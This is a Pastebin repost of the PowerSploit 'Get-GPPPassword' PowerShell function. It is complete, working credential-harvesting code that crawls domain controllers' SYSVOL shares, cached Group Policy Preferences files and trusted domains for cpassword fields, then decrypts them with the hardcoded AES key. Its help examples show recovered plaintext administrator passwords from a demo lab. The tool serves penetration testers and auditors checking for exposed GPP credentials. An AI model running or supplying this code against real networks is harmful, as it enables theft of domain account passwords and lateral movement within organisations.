Advertisement
Guest User

Untitled

a guest
Feb 18th, 2018
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.69 KB | None | 0 0
  1. function Get-GPPPassword {
  2. <#
  3. .SYNOPSIS
  4.  
  5. Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
  6.  
  7. PowerSploit Function: Get-GPPPassword
  8. Author: Chris Campbell (@obscuresec)
  9. License: BSD 3-Clause
  10. Required Dependencies: None
  11. Optional Dependencies: None
  12.  
  13. .DESCRIPTION
  14.  
  15. Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
  16.  
  17. .PARAMETER Server
  18.  
  19. Specify the domain controller to search for.
  20. Default's to the users current domain
  21.  
  22. .PARAMETER SearchForest
  23.  
  24. Map all reaschable trusts and search all reachable SYSVOLs.
  25.  
  26. .EXAMPLE
  27.  
  28. Get-GPPPassword
  29.  
  30. NewName : [BLANK]
  31. Changed : {2014-02-21 05:28:53}
  32. Passwords : {password12}
  33. UserNames : {test1}
  34. File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
  35.  
  36. NewName : {mspresenters}
  37. Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
  38. Passwords : {Recycling*3ftw!, password123, password1234}
  39. UserNames : {Administrator (built-in), DummyAccount, dummy2}
  40. File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
  41.  
  42. NewName : [BLANK]
  43. Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
  44. Passwords : {password, password1234$}
  45. UserNames : {administrator, admin}
  46. File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
  47.  
  48. NewName : [BLANK]
  49. Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
  50. Passwords : {password, read123}
  51. UserNames : {DEMO\Administrator, admin}
  52. File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
  53.  
  54. .EXAMPLE
  55.  
  56. Get-GPPPassword -Server EXAMPLE.COM
  57.  
  58. NewName : [BLANK]
  59. Changed : {2014-02-21 05:28:53}
  60. Passwords : {password12}
  61. UserNames : {test1}
  62. File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
  63.  
  64. NewName : {mspresenters}
  65. Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
  66. Passwords : {Recycling*3ftw!, password123, password1234}
  67. UserNames : {Administrator (built-in), DummyAccount, dummy2}
  68. File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
  69.  
  70. .EXAMPLE
  71.  
  72. Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
  73.  
  74. password
  75. password12
  76. password123
  77. password1234
  78. password1234$
  79. read123
  80. Recycling*3ftw!
  81.  
  82. .LINK
  83.  
  84. http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
  85. https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
  86. http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
  87. http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
  88. #>
  89.  
  90. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
  91. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  92. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
  93. [CmdletBinding()]
  94. Param (
  95. [ValidateNotNullOrEmpty()]
  96. [String]
  97. $Server = $Env:USERDNSDOMAIN,
  98.  
  99. [Switch]
  100. $SearchForest
  101. )
  102.  
  103. # define helper function that decodes and decrypts password
  104. function Get-DecryptedCpassword {
  105. [CmdletBinding()]
  106. Param (
  107. [string] $Cpassword
  108. )
  109.  
  110. try {
  111. #Append appropriate padding based on string length
  112. $Mod = ($Cpassword.length % 4)
  113.  
  114. switch ($Mod) {
  115. '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
  116. '2' {$Cpassword += ('=' * (4 - $Mod))}
  117. '3' {$Cpassword += ('=' * (4 - $Mod))}
  118. }
  119.  
  120. $Base64Decoded = [Convert]::FromBase64String($Cpassword)
  121.  
  122. # Make sure System.Core is loaded
  123. [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
  124.  
  125. #Create a new AES .NET Crypto Object
  126. $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  127. [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
  128. 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
  129.  
  130. #Set IV to all nulls to prevent dynamic generation of IV value
  131. $AesIV = New-Object Byte[]($AesObject.IV.Length)
  132. $AesObject.IV = $AesIV
  133. $AesObject.Key = $AesKey
  134. $DecryptorObject = $AesObject.CreateDecryptor()
  135. [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
  136.  
  137. return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
  138. }
  139.  
  140. catch { Write-Error $Error[0] }
  141. }
  142.  
  143. # helper function to parse fields from xml files
  144. function Get-GPPInnerField {
  145. [CmdletBinding()]
  146. Param (
  147. $File
  148. )
  149.  
  150. try {
  151. $Filename = Split-Path $File -Leaf
  152. [xml] $Xml = Get-Content ($File)
  153.  
  154. # check for the cpassword field
  155. if ($Xml.innerxml -match 'cpassword') {
  156.  
  157. $Xml.GetElementsByTagName('Properties') | ForEach-Object {
  158. if ($_.cpassword) {
  159. $Cpassword = $_.cpassword
  160. if ($Cpassword -and ($Cpassword -ne '')) {
  161. $DecryptedPassword = Get-DecryptedCpassword $Cpassword
  162. $Password = $DecryptedPassword
  163. Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
  164. }
  165.  
  166. if ($_.newName) {
  167. $NewName = $_.newName
  168. }
  169.  
  170. if ($_.userName) {
  171. $UserName = $_.userName
  172. }
  173. elseif ($_.accountName) {
  174. $UserName = $_.accountName
  175. }
  176. elseif ($_.runAs) {
  177. $UserName = $_.runAs
  178. }
  179.  
  180. try {
  181. $Changed = $_.ParentNode.changed
  182. }
  183. catch {
  184. Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
  185. }
  186.  
  187. try {
  188. $NodeName = $_.ParentNode.ParentNode.LocalName
  189. }
  190. catch {
  191. Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
  192. }
  193.  
  194. if (!($Password)) {$Password = '[BLANK]'}
  195. if (!($UserName)) {$UserName = '[BLANK]'}
  196. if (!($Changed)) {$Changed = '[BLANK]'}
  197. if (!($NewName)) {$NewName = '[BLANK]'}
  198.  
  199. $GPPPassword = New-Object PSObject
  200. $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
  201. $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
  202. $GPPPassword | Add-Member Noteproperty 'Password' $Password
  203. $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
  204. $GPPPassword | Add-Member Noteproperty 'File' $File
  205. $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
  206. $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
  207. $GPPPassword
  208. }
  209. }
  210. }
  211. }
  212. catch {
  213. Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
  214. }
  215. }
  216.  
  217. # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
  218. function Get-DomainTrust {
  219. [CmdletBinding()]
  220. Param (
  221. $Domain
  222. )
  223.  
  224. if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
  225. try {
  226. $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
  227. $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  228. if ($DomainObject) {
  229. $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
  230. }
  231. }
  232. catch {
  233. Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
  234. }
  235.  
  236. try {
  237. $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
  238. $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
  239. if ($ForestObject) {
  240. $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
  241. }
  242. }
  243. catch {
  244. Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
  245. }
  246. }
  247. }
  248.  
  249. # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
  250. function Get-DomainTrustMapping {
  251. [CmdletBinding()]
  252. Param ()
  253.  
  254. # keep track of domains seen so we don't hit infinite recursion
  255. $SeenDomains = @{}
  256.  
  257. # our domain stack tracker
  258. $Domains = New-Object System.Collections.Stack
  259.  
  260. try {
  261. $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
  262. $CurrentDomain
  263. }
  264. catch {
  265. Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
  266. }
  267.  
  268. if ($CurrentDomain -and $CurrentDomain -ne '') {
  269. $Domains.Push($CurrentDomain)
  270.  
  271. while($Domains.Count -ne 0) {
  272.  
  273. $Domain = $Domains.Pop()
  274.  
  275. # if we haven't seen this domain before
  276. if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
  277.  
  278. Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
  279.  
  280. # mark it as seen in our list
  281. $Null = $SeenDomains.Add($Domain, '')
  282.  
  283. try {
  284. # get all the domain/forest trusts for this domain
  285. Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
  286. # only output if we haven't already seen this domain and if it's pingable
  287. if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
  288. $Null = $Domains.Push($_)
  289. $_
  290. }
  291. }
  292. }
  293. catch {
  294. Write-Verbose "[Get-DomainTrustMapping] Error: $_"
  295. }
  296. }
  297. }
  298. }
  299. }
  300.  
  301. try {
  302. $XMLFiles = @()
  303. $Domains = @()
  304.  
  305. $AllUsers = $Env:ALLUSERSPROFILE
  306. if (-not $AllUsers) {
  307. $AllUsers = 'C:\ProgramData'
  308. }
  309.  
  310. # discover any locally cached GPP .xml files
  311. Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
  312. $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
  313.  
  314. if ($SearchForest) {
  315. Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
  316. $Domains += Get-DomainTrustMapping
  317. }
  318. else {
  319. if ($Server) {
  320. $Domains += , $Server
  321. }
  322. else {
  323. # in case we're in a SYSTEM context
  324. $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
  325. }
  326. }
  327.  
  328. $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
  329.  
  330. ForEach ($Domain in $Domains) {
  331. # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
  332. Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
  333. $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
  334.  
  335. if($DomainXMLFiles) {
  336. $XMLFiles += $DomainXMLFiles
  337. }
  338. }
  339.  
  340. if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
  341.  
  342. Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
  343.  
  344. ForEach ($File in $XMLFiles) {
  345. $Result = (Get-GppInnerField $File.Fullname)
  346. $Result
  347. }
  348. }
  349.  
  350. catch { Write-Error $Error[0] }
  351. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement